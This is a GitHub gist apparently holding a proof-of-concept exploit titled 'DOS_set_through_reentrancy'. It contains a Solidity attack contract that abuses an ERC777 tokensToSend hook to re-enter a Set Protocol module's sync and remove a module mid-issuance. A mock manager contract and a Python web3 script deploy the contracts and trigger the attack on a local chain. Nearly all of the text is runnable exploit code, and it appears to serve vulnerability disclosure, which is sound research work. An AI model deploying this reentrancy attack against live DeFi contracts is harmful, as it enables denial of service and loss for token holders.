Skip to content

Instantly share code, notes, and snippets.

@Jonah246
Created June 14, 2022 15:41
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save Jonah246/13e58b59765c0334189c99a9f29c6dab to your computer and use it in GitHub Desktop.
Save Jonah246/13e58b59765c0334189c99a9f29c6dab to your computer and use it in GitHub Desktop.
DOS_set_through_reentrancy
pragma solidity 0.6.10;
pragma experimental "ABIEncoderV2";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { IERC777 } from "@openzeppelin/contracts/token/ERC777/IERC777.sol";
import { IERC777Recipient } from "@openzeppelin/contracts/token/ERC777/IERC777Recipient.sol";
import { IERC777Sender } from "@openzeppelin/contracts/token/ERC777/IERC777Sender.sol";
import { IERC1820Registry } from "@openzeppelin/contracts/introspection/IERC1820Registry.sol";
import { ISetToken } from "../interfaces/ISetToken.sol";
import { MockManagerWallet } from "./MockManagerWallet.sol";
import "hardhat/console.sol";
interface CompoundLeverageModuleLike {
function sync(ISetToken _setToken, bool _shouldAccrueInterest) external;
}
interface IssuanceModuleLike {
function issue(
ISetToken _setToken,
uint256 _quantity,
address _to
) external;
function redeem(
ISetToken _setToken,
uint256 _quantity,
address _to
) external;
}
contract Attack is IERC777Recipient {
ISetToken setToken;
CompoundLeverageModuleLike compoundModule;
IssuanceModuleLike issueModule;
IERC1820Registry constant internal _ERC1820_REGISTRY = IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24);
IERC20 CETH = IERC20(0x4Ddc2D193948926D02f9B1fE9e1daa0718270ED5);
MockManagerWallet manager;
IERC20 cToken;
IERC20 wfCash;
bytes32 private constant _TOKENS_SENDER_INTERFACE_HASH = keccak256("ERC777TokensSender");
bytes32 private constant _TOKENS_RECIPIENT_INTERFACE_HASH = keccak256("ERC777TokensRecipient");
constructor(
ISetToken _setToken,
CompoundLeverageModuleLike _compoundModule,
IssuanceModuleLike _issueModule,
IERC20 _cToken,
IERC20 _wfCash,
MockManagerWallet _manager
) public {
setToken = _setToken;
compoundModule = _compoundModule;
issueModule = _issueModule;
cToken = _cToken;
wfCash = _wfCash;
manager = _manager;
}
function register() public {
_ERC1820_REGISTRY.setInterfaceImplementer(address(this), _TOKENS_SENDER_INTERFACE_HASH, address(this));
_ERC1820_REGISTRY.setInterfaceImplementer(address(this), _TOKENS_SENDER_INTERFACE_HASH, address(this));
}
function attack(uint256 _amount) external {
cToken.approve(address(issueModule), uint256(-1));
wfCash.approve(address(issueModule), uint256(-1));
issueModule.issue(setToken, _amount, address(this));
}
function tokensToSend(
address operator,
address from,
address to,
uint256 amount,
bytes calldata userData,
bytes calldata operatorData
) external {
console.logInt(setToken.getDefaultPositionRealUnit(address(cToken)));
compoundModule.sync(setToken, false);
console.logInt(setToken.getDefaultPositionRealUnit(address(cToken)));
manager.removeModule(address(setToken));
}
function tokensReceived(
address operator,
address from,
address to,
uint256 amount,
bytes calldata userData,
bytes calldata operatorData
) external override {
}
}
pragma solidity 0.6.10;
pragma experimental "ABIEncoderV2";
interface CompoundModuleLike {
function initialize(
address _setToken,
address[] memory _collateralAssets,
address[] memory _borrowAssets
) external;
}
interface NotionalModuleLike {
function initialize(
address _setToken
) external;
}
interface DebtIssuanceModuleLike {
function initialize(
address _setToken,
uint256 _maxManagerFee,
uint256 _managerIssueFee,
uint256 _managerRedeemFee,
address _feeRecipient,
address _managerIssuanceHook
) external;
}
interface SetTokenLike {
function removeModule(address _module) external;
}
contract MockManagerWallet {
CompoundModuleLike compoundModule;
NotionalModuleLike notionalModule;
DebtIssuanceModuleLike issuanceModule;
SetTokenLike set;
constructor(address _compound, address _notional, address _issue) public {
compoundModule = CompoundModuleLike(_compound);
notionalModule = NotionalModuleLike(_notional);
issuanceModule = DebtIssuanceModuleLike(_issue);
// set = SetTokenLike(_set);
}
function initializeDebtIssuance(
address _setToken,
uint256 _maxManagerFee,
uint256 _managerIssueFee,
uint256 _managerRedeemFee,
address _feeRecipient,
address _managerIssuanceHook
) public {
issuanceModule.initialize(_setToken, _maxManagerFee, _managerIssueFee, _managerRedeemFee, _feeRecipient, _managerIssuanceHook);
}
function initializeCompound(
address _setToken,
address[] memory _collateralAssets,
address[] memory _borrowAssets) public {
compoundModule.initialize(_setToken, _collateralAssets, _borrowAssets);
}
function intializeNotional(address _setToken) public {
notionalModule.initialize(_setToken);
}
function removeModule(address setToken) public {
SetTokenLike(setToken).removeModule(address(compoundModule));
}
}
# deploy manager
manager = deploy_contract(open_build('MockManagerWallet', 'attack'),
compound_module.address, notionalTradeModule.address, debtIssuanceModule.address)
## deploy setToken and initialize
tx_hash = setTokenCreator.functions.create(
[cdai.address, wrapper.address],
[10**cdai.functions.decimals().call() ,10 ** wrapper.functions.decimals().call()],
[debtIssuanceModule.address, compound_module.address, notionalTradeModule.address],
manager.address, "SET TOKEN", "SET"
).transact()
receipt = w3.eth.getTransactionReceipt(tx_hash)
setToken = w3.eth.contract(
abi=open_build('SetToken', 'protocol')['abi'],
address=setTokenCreator.events.SetTokenCreated().processReceipt(receipt)[0]['args']['_setToken'])
manager.functions.initializeDebtIssuance(
setToken.address,
10**17, # 0.1 ether
0,
0,
user,
managerIssuanceMock.address).transact()
compound_module.functions.updateAllowedSetToken(setToken.address, True).transact()
manager.functions.initializeCompound(setToken.address, [dai.address], [dai.address]).transact()
notionalTradeModule.functions.updateAllowedSetToken(setToken.address, True).transact()
manager.functions.intializeNotional(setToken.address).transact()
deposit_amount = 100 * 10**18
mint_dai(user, deposit_amount * 2)
dai.functions.approve(wrapper.address, deposit_amount).transact()
wrapper.functions.deposit(deposit_amount, user).transact()
dai.functions.approve(cdai.address, 2**255).transact()
cdai.functions.mint(deposit_amount).transact()
cdai.functions.approve(debtIssuanceModule.address, 2**255).transact()
wrapper.functions.approve(debtIssuanceModule.address, 2**255).transact()
dai.functions.approve(debtIssuanceModule.address, 2**255).transact()
debtIssuanceModule.functions.issue(setToken.address, deposit_amount, user).transact()
## before attack
before_attack_snapshotId = w3.provider.make_request("evm_snapshot", [])['result']
attack = deploy_contract(
open_build('Attack', 'attack'),
setToken.address,
compound_module.address,
debtIssuanceModule.address,
cdai.address,
wrapper.address,
manager.address
)
deposit_amount = 100 * 10**18
fcash_amount = 100 * 10**8
mint_dai(user, deposit_amount * 2)
dai.functions.approve(wrapper.address, deposit_amount).transact()
wrapper.functions.deposit(deposit_amount, user).transact()
wrapper.functions.transfer(attack.address, fcash_amount).transact()
dai.functions.approve(cdai.address, 2**255).transact()
cdai.functions.mint(deposit_amount).transact()
cdai.functions.transfer(attack.address, fcash_amount).transact()
attack.functions.register().transact()
attack.functions.attack(50 * 10**18).transact()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment